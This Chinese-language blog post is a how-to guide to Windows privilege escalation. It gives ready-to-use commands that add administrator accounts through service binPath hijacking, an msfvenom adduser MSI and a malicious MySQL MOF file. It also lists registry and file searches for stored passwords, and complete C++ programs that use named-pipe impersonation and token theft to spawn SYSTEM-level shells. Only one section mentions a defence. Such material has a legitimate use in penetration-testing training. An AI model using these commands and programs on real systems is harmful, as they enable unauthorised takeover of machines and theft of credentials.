常见的Windows提权方法

目录

1、无引号提权路径(Trusted Service Paths)

2、易受到攻击的服务(Vulnerable Services)

3、AlwaysInstallElevated(始终安装高架)

4、信息泄露

5、基于资源的域约束性委派利用

6、POTATO家族

7、MySQL下的提权技术

MOF提权

UDF提权

启动项提权

8、命令管道提权

9、令牌窃取

10、常见Windows的提权CVE


1、无引号提权路径(Trusted Service Paths)

原理:利用服务启动时检索程序,程序末尾有空格且没有引号闭合,会以一定方式检索下面的程序,从而可以利用在检索下面目录中加入恶意程序达到提权目的。——被动等待(反弹shell)

提权步骤:

1、用命令搜索无引号的服务路径:

vmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

2、自己分组:whoami /all

3、查看无引号路径权限:icacls 【路径】

4、用工具(msf,cs等等)生成反弹shell程序上传到对应路径下

**注意:如果程序放在此路径下长时间不与SCM(service controller Manager)通信会程序会被终止,所以在拿到权限后应该进行进程迁移

5、进程迁移方法:使用msf;在meterpreter中用ps查看进程号然后migrate PID

防御:

进入注册表修改窗口。在HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的的服务,修改ImagePath,把路径前后加上引号。

2、易受到攻击的服务(Vulnerable Services)

易受到攻击的服务有两种:一是替换二进制服务文件;二是修改服务属性(需要用到accesschk.exe工具)

替换二进制文件原理:

  • 对存放服务二进制文件的目录有修改权,将恶意的二进制程序替换原有的二进制文件。

替换二进制文件方法:

  • 和Trusted Service Paths差不多

修改服务属性原理:

  • 修改BINARY_PATH_NAME属性,通过设置它的值为系统命令,重启服务时系统命令会被执行

修改服务属性条件:

需要以下一种权限才能修改:

  • SERVICE_ALL_ACCESS
  • SERVICE_CHANGE_CONFIG
  • WRITE_DAC
  • WRITE_OWNER
  • GENERIC_WRITE
  • GENERIC_ALL

工具accesschk.exe:

利用:

对Spooler服务有service_all_access权限,我们就可以这样做。通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

输入命令:

sc config spooler binPath= "net user emxiai 12345 /add" #执行恶意命令
net user #查看用户

3、AlwaysInstallElevated(始终安装高架)

如果Windows启用注册表项:

  • [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
  • [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即达到提权目的。

同时注意,这个注册表项不一定总是存在的。可以通过reg query来验证这两条注册表项的情况:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

若均为1,我们就可以通过msfvenom生成恶意msi来提权,执行获得一个管理员账户:

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

4、信息泄露

Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着一定信息泄露,他们通常存在于以下路径:

  • C:\Windows\Panther\
  • C:\Windows\Panther\Unattend\
  • C:\Windows\System32\
  • C:\Windows\System32\sysprep\

找到后,找到 Unattend.xml 文件中的标签。就有可能找到用户的加密后的密码。

如下:

<UserAccounts>

<LocalAccounts>

<LocalAccount>

<Password>

<Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD

<PlainText>false</PlainText>

</Password>

<Description>Local Administrator</Description>

<DisplayName>Administrator</DisplayName>

<Group>Administrators</Group>

<Name>Administrator</Name>

</LocalAccount>

</LocalAccounts>

</UserAccounts>

一些查询敏感文件的命令:

C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

5、基于资源的域约束性委派利用

原理

1.S4U2SELF协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启使用任何协议认证的约束性委派)时被调用,但是返回的ST是不可被转发的。

2.基于资源的约束性委派主机 在被另一台主机委派访问时,在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。

3.每个普通域用户默认可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ),每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN

攻击流程

假设开启基于资源的约束性委派机器为A

1.首先要有一个对当前计算机有写权限的账户,才能对A设置可以 被 委派访问的服务账户。

2.利用当前账户创建一个机器账户,并配置好机器账户到A的 基于资源的约束性委派

3.因为机器账户是我们创建的,我们知道他的密码账户,可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY,在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。

4.用ST2访问A的CIFS服务,权限获得。

6、POTATO家族

热土豆提权(hot potato)。

提权步骤流程:

  • 1、本地NBNS服务欺骗
  • 2、WPAD劫持
  • 3、HTTP->SMB 的 NTLM relay

本地NBNS服务欺骗

Windows域名解析:本地host文件->dns查询->NBNS或者LLMNR查询;在不是管理员的情况下,我们能事先知道被欺骗主机需要的访问的主机IP,就可以伪造一个NBNS查询服务,让靶机访问,这样就能获取到信息就能达到目地,同时NBNS服务有个特征码,请求包和回应包的内容一致,可以根据发送65535个包进行爆破

WPAD劫持

当NBNS欺骗后就能可以劫持到域名,把自己伪造称WPAD并返回自动义的PAC文件。

RELAY

现在SMB->SMB的relay很少用到,微软禁用同协议的NTLM认证 ,成功率很低。但HTTP->SMB的relay还有。HOT POTATO就是利用它。

我们可以把主机发出的HTTP请求重定向到我们自定义的网页Web_A,而网页Web_A需要NTLM认证,可以进行HTTP->SMB的relay。当HTTP请求来自于高权限的账户时,例如是来自windows 更新服务的请求,命令就会以”NT AUTHORITY\SYSTEM”权限运行。

HOT POTATO 根据Windows版本的不同,需要等待高权限用户NTLM认证来到的时间也不同。一般来说,WIN7是瞬间可以提权,但是Windows Server 2012 R2,Windows Server 2012,Windows 8.1,Windows 8有一个自动更新机制,会每天下载证书信任列表(CTLs)etc。

7、MySQL下的提权技术

MOF提权

原理:

  • 利用nullevt.mof文件都会在一个特定时间间隔内执行一次,向此文件中添加cmd命令自动执行。

条件:

  • 能够进入数据库进行操作,且MySQL数据库的权限要尽可能的高才有更有利i。同时secure-file-priv要为空(MySQL5.6.34以后的版本都为空)。

伪造的MOF文件:

#pragma namespace("\\\\.\\root\\subscription")


instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\\Cimv2";

Name = "filtP2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};


instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; //修改此处

};


instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

修改上面的cmd部分可以实现以管理员的身份执行各种命令。

UDF提权

原理:

  • UDF (user defined function),即用户自定义函数。自定义函数在Windows下是以DLL文件存在于MYSQL的插件文件夹里面的(linux是以os形式)。我们可以自定义一个恶意dll,里面存放着可以执行系统命令的函数。然后交给mysql以数据库权限执行。

条件:

  • 能操作数据库,且数据库权限必须很高(用这个方法得到的权限就是数据库的权限)
  • 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
  • 当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录(lib\plugin目录默认不存在,需自行创建)。

提权步骤:

获取dll文件:

  1. sqlmap和msf都有。sqlmap下sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 就是这个dll文件的编码版本。使用sqlmap下的sqlmap/extra/cloak/cloak.py对其进行解码获得dll文件。
  2. python ./cloak.py -d -i ./lib_mysqludf_sys.dll_ #获得dll文件
  3. 把dll文件放入mysql的插件文件夹,命名为udf.dll。插件文件夹可以通过命令:show variables like "%plugin%"; (/lib/plugin文件夹需要自己创建)
  4. 把dll放入插件文件夹中:select load_file(‘udf.dll’) into dumpfile “plugin的路径”;
  5. 提权:create funtion sys_eval returns string soname "udf.dll"; select sys_eval('cmd');

启动项提权

原理:通过MySQL的高权限,在windows开机启动项的文件夹下放入恶意的vbs或者bat脚本,等待计算机重启,可以使用一些exp让计算机蓝屏。

启动项的常见路径:

  • C:\Users\ASUS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  • C:\Documents and Settings\All Users\「开始」菜单\程序\启动
  • C:\Users\ASUS\AppData\Roaming\Microsoft\Windows\「开始」菜单\程序\启动

8、命令管道提权

条件:

  • Administrator用户才那个提权(提权到system权限),一般用户不能提权到admin用户,因为一般用户没有命令管道 SeImpersonatePrivilege,复制令牌时候会出席那错误

提权方式:

  • 令牌模仿(token impoersonation)

提权过程:

该方法技术细节为:以管理员权限创建一个命名管道,再通过创建SYSTEM权限服务,让服务连上命名管道,随后我们通过模拟客户端,获得SYSTEM权限的令牌,随后将其复制,再用复制后的令牌创建新进程(如CMD),新进程的权限即SYSTEM权限。

首先是被创建的服务的实现代码,该服务启动后会不断向服务器命名管道建立链接

生成好后,是Service.exe

代码:

#include<Windows.h>

#include<iostream>

SERVICE_STATUS m_ServiceStatus;

SERVICE_STATUS_HANDLE m_ServiceStatusHandle;

BOOL bRunning;

void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);

void WINAPI HandlerFunc(DWORD code);

int main() {

WCHAR Servicename[] = L"ServiceA";

SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} };

StartServiceCtrlDispatcher(Table);

}


void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {

m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;

m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;

m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;

m_ServiceStatus.dwWin32ExitCode = 0;

m_ServiceStatus.dwServiceSpecificExitCode = 0;

m_ServiceStatus.dwCheckPoint = 0;

m_ServiceStatus.dwWaitHint = 0;


m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc);

m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;

m_ServiceStatus.dwCheckPoint = 0;

m_ServiceStatus.dwWaitHint = 0;

SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);

bRunning = true;

while (bRunning) {

LPCWSTR PipeName = L"\\\\.\\pipe\\testpipe";

HANDLE PipeHandle=NULL;

BOOL PipeInstance;

WCHAR message[512] = { 0 };

DWORD bytesWritten = 0;

BOOL Flag = true;

wchar_t message2[] = L"HELL";

DWORD messageLength = lstrlen(message2) * 2;

do {

PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

} while (PipeHandle == INVALID_HANDLE_VALUE);


WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL);


Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL);

std::cout << "Message:" << message << std::endl;

}

}


void WINAPI HandlerFunc(DWORD code) {

switch (code) {

case SERVICE_CONTROL_PAUSE:

m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;

break;

case SERVICE_CONTROL_CONTINUE:

m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;

break;

case SERVICE_CONTROL_STOP:

m_ServiceStatus.dwWin32ExitCode = 0;

m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;

m_ServiceStatus.dwCheckPoint = 0;

m_ServiceStatus.dwWaitHint = 0;


SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);

bRunning = false;

break;

case SERVICE_CONTROL_INTERROGATE:

break;

}

}

 ##下面是主体,命名管道服务器。生成后是Server.exe



#include<Windows.h>

#include<iostream>


int main() {

LPCWSTR pipeName = L"\\\\.\\pipe\\testpipe";

LPVOID pipeBuffer = NULL;

HANDLE serverPipe;

DWORD readBytes = 0;

DWORD readBuffer = 0;

int err = 0;

BOOL isPipeConnected;

BOOL isPipeOpen;

wchar_t message[] = L"HELL";

DWORD messageLenght = lstrlen(message) * 2;

DWORD bytesWritten = 0;

WCHAR message2[512] = { 0 };

//Open a Named Pipe,Wait for a connection

std::wcout << "Creating named pipe " << pipeName << std::endl;

serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);


//Create a service of system to connect to our NamedPipe.


char servicename[] = "Service.exe";

char servicepath[_MAX_PATH];

SERVICE_STATUS status;

GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath));

SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

if (GetLastError() == 0) {


}

else {

std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl;

}

SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename,

SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,

servicepath, NULL, NULL, NULL, NULL, NULL);

if (!scService) {

if (GetLastError() == 1073) {

std::cout << "The Service has been exsisted" << std::endl;

}

else {

std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl;

}

}

SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS);

if (StartService(scServiceA, 0, NULL)) {

std::cout<<"service Start success"<<std::endl;

}

else {

if (GetLastError() == 1056) {

std::cout << "service is running,don't need to start again" << std::endl;

}

}

//Connect !

isPipeConnected = ConnectNamedPipe(serverPipe, NULL);


if (isPipeConnected) {

std::wcout << "Incoming connection to " << pipeName << std::endl;

ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL);

std::cout << message2;

}

else {

std::cout << "Does not connected Error: "<<GetLastError() << std::endl;

}


std::wcout << "Sending message: " << message << std::endl;

WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);

//Toekn Impersonation

std::wcout << "Impersonating the client..." << std::endl;

if (!ImpersonateNamedPipeClient(serverPipe)) {

std::cout<<"ImpersonateNamedPipeClient ERROR: "<<GetLastError()<<std::endl;

}

else {

std::cout << "ImpersonateNamedPipeClient success" << std::endl;

}


STARTUPINFOA si;

PROCESS_INFORMATION pi = {};

ZeroMemory(&pi, sizeof(pi));

ZeroMemory(&si, sizeof(si));

si.cb = sizeof(si);

HANDLE token;

if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {

std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl;

}


CHAR command1[] = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";

WCHAR command2[] = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";

HANDLE Token;

if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) {

std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl;

}

else {

std::cout << "Impersonate completed" << std::endl;

}

if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {

std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl;

if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {

std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl;

}

else {

std::cout << "CreateProcessWithTokenW success" << std::endl;

}

}

else {

std::cout << "CreateProcessWithTokenW success" << std::endl;

}


while(1){}

}

 

我们生成了Service.exe,然后把他移到Server.exe同级目录,以管理员权限运行Server.exe,即可达到admin -> system的提权。

9、令牌窃取

原理:

system->本机上其他用户(包括域用户)(只要本机有system权限,域管在本机上创建进程就直接能拿到域管权限)或者admin获取debug权限后去获取system权限(注意:只有owner为administrator的system进程才能被利用,比如lsass,dllhost)

技术细节:通过寻找高权限开启的进程,再复制其令牌用以创建新进程,即可达到提权目的

脚本:

#include <iostream>

#include <Windows.h>

//Only administrator can get debug priv

BOOL GetDebugPriv() {

HANDLE Token;

TOKEN_PRIVILEGES tp;

LUID Luid;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {

std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;

return false;

}


tp.PrivilegeCount = 1;

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {

std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;

return false;

}

tp.Privileges[0].Luid = Luid;

if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){

std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;

return false;

}

if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {

return false;

}

else {

return true;

}

}


int main(int argc, char* argv[]) {

HANDLE t_process;

HANDLE token = NULL;

HANDLE token_bak = NULL;

DWORD process_id;

sscanf_s(argv[1], "%ul", &process_id);

WCHAR command[] = L"C:\\Windows\\System32\\cmd.exe";

STARTUPINFO startupInfo;

PROCESS_INFORMATION processInformation;

ZeroMemory(&startupInfo, sizeof(STARTUPINFO));

ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));

startupInfo.cb = sizeof(STARTUPINFO);

std::cout << argv[1] << std::endl;

std::cout << "Openning process PID:" << process_id << std::endl;

if (GetDebugPriv()== TRUE) {

std::cout << "Got the debug priv" << std::endl;

}

else {

std::cout << "GetDebugPriv ERROR" << std::endl;

}

system("whoami /priv");

t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id);

if (!t_process) {

std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;

}

if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {

std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;

}


if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {

std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;

}

if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {

std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;

}

return 0;

}

10、常见Windows的提权CVE

链接:https://github.com/SecWiki/windows-kernel-exploits

  • 2
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值